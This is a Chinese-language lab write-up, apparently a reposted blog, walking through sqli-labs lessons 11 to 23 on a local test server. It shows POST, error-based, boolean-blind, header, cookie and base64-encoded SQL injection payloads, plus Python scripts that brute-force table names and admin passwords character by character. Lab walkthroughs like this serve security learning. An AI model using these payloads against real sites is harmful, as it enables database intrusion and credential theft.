sql-liab(11-23)

Less-11

本道题开始,我们进入了通过由POST方式进行注入

  1. 查找注入点及探索注入方式

    1'+order+by+3--+
    

    在这里插入图片描述

  2. 查看注入位置

    1'+union+select+0,1--+
    

    在这里插入图片描述

  3. 开始注入

    1. 获取表名

      1'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1--+
      

      在这里插入图片描述

    2. 获取字段名

      1'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),1--+
      

      在这里插入图片描述

    3. 获取flag

      1'+union+select+(select+password+from+admin+limit+0,1),1--+
      

      在这里插入图片描述

  4. 代码审计

    在这里插入图片描述

Less-12

  1. 查找注入点及探索注入方式

    联合注入且需要闭合双引号和括号,注入点为username

    1")+order+by+3--+
    

    在这里插入图片描述

    • 发现表示行为2
  2. 查看注入位置

    1")+union+select+1,2--+
    

    在这里插入图片描述

  3. 进行注入

    1. 获取表名

      1")+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),2--+
      

      在这里插入图片描述

    2. 获取字段名

      1")+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+
      

      在这里插入图片描述

    3. 获取flag

      1")+union+select+(select+password+from+admin+limit+0,1),2--+
      

      在这里插入图片描述

  4. 代码审计

    在这里插入图片描述

Less-13

  1. 查找注入点及注入方式

    1)'
    

    在这里插入图片描述

    1')+order+by+3--+
    

    在这里插入图片描述

    发现联合注入无法使用,页面无法显示正常的数据。但是可以进行报错,因此采用报错注入的方式

    1')+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+
    

    在这里插入图片描述

  2. 进行注入

    1. 获取表名

      1')+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
      

      在这里插入图片描述

    2. 获取字段名

      1')+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
      

      在这里插入图片描述

    3. 获取flag

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
      
      flag{AE0E4
      

      在这里插入图片描述

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
      
      BDAD7B5F6
      

      在这里插入图片描述

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
      
      1417433660
      

      在这里插入图片描述

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
      
      26D2EA5}
      

      在这里插入图片描述

      最后拼接

      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
      
  3. 代码审计

    在这里插入图片描述

Less-14

  1. 查看注入点并判断注入方式

    1"'--+
    

    在这里插入图片描述

    1"+union+select+1,2--+
    

    在这里插入图片描述

    1"+and+extractvalue(1,concat(0x7e,(version()),0x7e))--+
    

    在这里插入图片描述

  2. 开始注入

    1. 获得表名

      1"+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e))--+
      

      在这里插入图片描述

    2. 获得字段名

      1"+and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e))--+
      

      在这里插入图片描述

    3. 获得flag

      由于长度过长所以我们采用分段截取的方式

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e))--+
      
      flag{AE0E4
      

      在这里插入图片描述

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e))--+
      
      BDAD7B5F67
      

      在这里插入图片描述

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e))--+
      
      1417433660
      

      在这里插入图片描述

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e))--+
      
      26D2EA5}
      

      在这里插入图片描述

      进行拼接

      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
  3. 代码审计

    在这里插入图片描述

Less-15

  1. 判断注入点及方式

    -1'+or+1=1--+
    

    在这里插入图片描述

    -1'+or+1=2--+
    

    在这里插入图片描述

    因此,我们选择布尔盲注

  2. python注入脚本编写

    判断代码

    import requests
    
    chars="qwertyuiopasdfghjklzxcvbnm}{"
    url="http://localhost/Less-15/index.php"
    
    
    payload={
          
          
    	"uname":"-1' or 1=1#",
    	"passwd":"",
    	"submit":"Submit"
    }
    r=requests.post(url=url,data=payload)
    print(r.text)
    print(len(r.text))
    # right:1492
    # 1446
    

    先进行判断,可以看出当正确时,长度为1492,错误时1446。因此我们可以利用这种差距进行注入

    完整代码(未加判断代码)

    import requests
    
    chars="qwertyuiopasdfghjklzxcvbnm0123456789}{"
    url="http://localhost/Less-15/index.php"
    
    for x in range(0,10):
    	table_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select table_name from information_schema.tables where table_schema=database() limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				table_name+=char
    	if bool(table_name):
    		print(table_name)
    
    # 获取字段名
    for x in range(0,10):
    	column_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select column_name from information_schema.columns where table_name='admin' limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				column_name+=char
    	if bool(column_name):
    		print(column_name)
    
    # 获取内容
    for x in range(0,10):
    	password_value=""
    	for y in range(1,50):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select password from admin limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				password_value+=char
    	if bool(password_value):
    		print(password_value)
    

    获得flag

    flag{ae0e4bdad7b5f67141743366026d2ea5}
    
  3. 代码审计

    在这里插入图片描述

Less-16

  1. 查找注入点及判断注入方式

    -1")
    

    在这里插入图片描述

    页面没有回显数据,但是正确与否会出现偏差,因此采用布尔注入

  2. python代码编写

    import requests
    
    chars="1234567890qwertyuiopasdfghjklzxcvbnm}{"
    url="http://localhost/Less-16/"
    
    
    # 测试
    # payload={
          
          
    # 	'uname':'-1") or 1=1#',
    # 	'passwd':'',
    # 	'submit':'Submit'
    # }
    # r=requests.post(url=url,data=payload)
    # print(r.text)
    # print(len(r.text))
    # right:1504
    # 获取表名
    for x in range(0,10):
    	table_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload={
          
          
    				'uname': '-1") or ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				table_name+=char
    	if bool(table_name):
    		print(table_name)
    
    # 获取字段名
    for x in range(0,10):
    	column_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload={
          
          
    				'uname': '-1") or ord(mid((select column_name from information_schema.columns where table_name=0x61646D696E limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				column_name+=char
    	if bool(column_name):
    		print(column_name)
    
    # 获取内容
    for x in range(0,10):
    	password_value=""
    	for y in range(1,50):
    		for char in chars:
    			payload={
          
          
    				'uname': '-1") or ord(mid((select password from admin limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				password_value+=char
    	if bool(password_value):
    		print(password_value)
    

    获取flag为

    flag{04756714174336602625}
    
  3. 代码审计

    在这里插入图片描述

Less-17

  1. 判断注入点及方式

    根据提示我们在password进行注入,而且需要采取正确的用户名

    brupsite:
    uname=Dhakkan&passwd=1'+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+&submit=Submit
    

    在这里插入图片描述

  2. 开始进行注入

    1. 获取表名

      1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
      

      在这里插入图片描述

    2. 获取字段名

      1'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
      

      在这里插入图片描述

    3. 获取内容

      由于flag过长,我们采用分段截取的方式

      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
      
      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
  3. 代码审计

    第一部分过滤代码审计:

    function check_input($value)
    	{
          
          
        // 判断是否为空字符,如果不是则取前15个字符
    	if(!empty($value))
    		{
          
          
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
        	// 去除双引号
    		if (get_magic_quotes_gpc())
    			{
          
          
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
        	// 判断是否为全为数字,如果不是则加引号
    		if (!ctype_digit($value))
    			{
          
          
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
          
          
    		$value = intval($value);
    		}
    	return $value;
    	}
    

    在这里插入图片描述

Less-18

头部注入(前提密码和账户正确):

利用user agent

介绍:

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU
类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但通过伪装 UA
可以绕过检测。
————————————————

开始注入:

在这里插入图片描述

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述

  • 需要正确的用户名和密码

代码审计

在这里插入图片描述

Less-19

头部注入:利用referer头字段进行注入

' and updatexml(1,concat(0x7e,version(),0x7e),1) and '1'='1

在这里插入图片描述

代码审计

在这里插入图片描述

Less-20

头部注入:

cookie注入

利用brupsite进行页面抓取,然后抓取第二个页面

报错注入

在这里插入图片描述

union联合注入

在这里插入图片描述

Less-21

  1. 注入点判断及注入分析

    在这里插入图片描述

    报错注入
    1') and updatexml(1,concat(0x7e,version(),0x7e),1)#
    经过base64加密
    MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx2ZXJzaW9uKCksMHg3ZSksMSkj
    

    在这里插入图片描述

    联合注入
    1')  order by 4#
    base64加密:
    MScpICBvcmRlciBieSA0Iw==
    

    在这里插入图片描述

    联合注入
    1')  union select 1,2,3#
    base64:
    MScpICB1bmlvbiBzZWxlY3QgMSwyLDMj
    

    在这里插入图片描述

联合注入
1')  union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwyLDMj

在这里插入图片描述

联合注入:
1')  union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nYWRtaW4nKSwyLDMj

在这里插入图片描述

联合注入:
1')  union select (select password from admin limit 0,1),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBwYXNzd29yZCBmcm9tIGFkbWluIGxpbWl0IDAsMSksMiwzIw==

在这里插入图片描述

Less-22

  1. 注入点分析

    依旧是头部注入,cookie注入,还是base64编码

    /
    base64:
    XA==
    

    在这里插入图片描述

    联合注入:
    1" order by 4# 
    base64:
    MSIgb3JkZXIgYnkgNCMg
    

    在这里插入图片描述

  2. 开始注入

    联合注入
    1“ union select 1,2,3
    base64:
    MSIgdW5pb24gc2VsZWN0IDEsMiwzIyA=
    

    在这里插入图片描述

    联合注入
    1" union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMiwzIw==
    

    在这里插入图片描述

    联合注入
    1" union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2FkbWluJyksMiwzIw==
    

    在这里插入图片描述

    联合注入
    1" union select (select password from admin limit 0,1),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgcGFzc3dvcmQgZnJvbSBhZG1pbiBsaW1pdCAwLDEpLDIsMyM=
    

    在这里插入图片描述

  3. 代码审计

    在这里插入图片描述

Less-23

本道题考的是注释符的绕过

\

在这里插入图片描述

尝试闭合单引号

1'%23
1'--+

在这里插入图片描述

发现均被过滤

1'+and+'1'='1

在这里插入图片描述

可以正常显示

在构建·

-1'+union+select+1,2,3+and+'1'='1

在这里插入图片描述

-1'+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3+and+'1'='1
-1'+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3+and+'1'='1
-1'+union+select+1,(select+password+from+admin),3+and+'1'='1

获得flag

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_52387684/article/details/121413194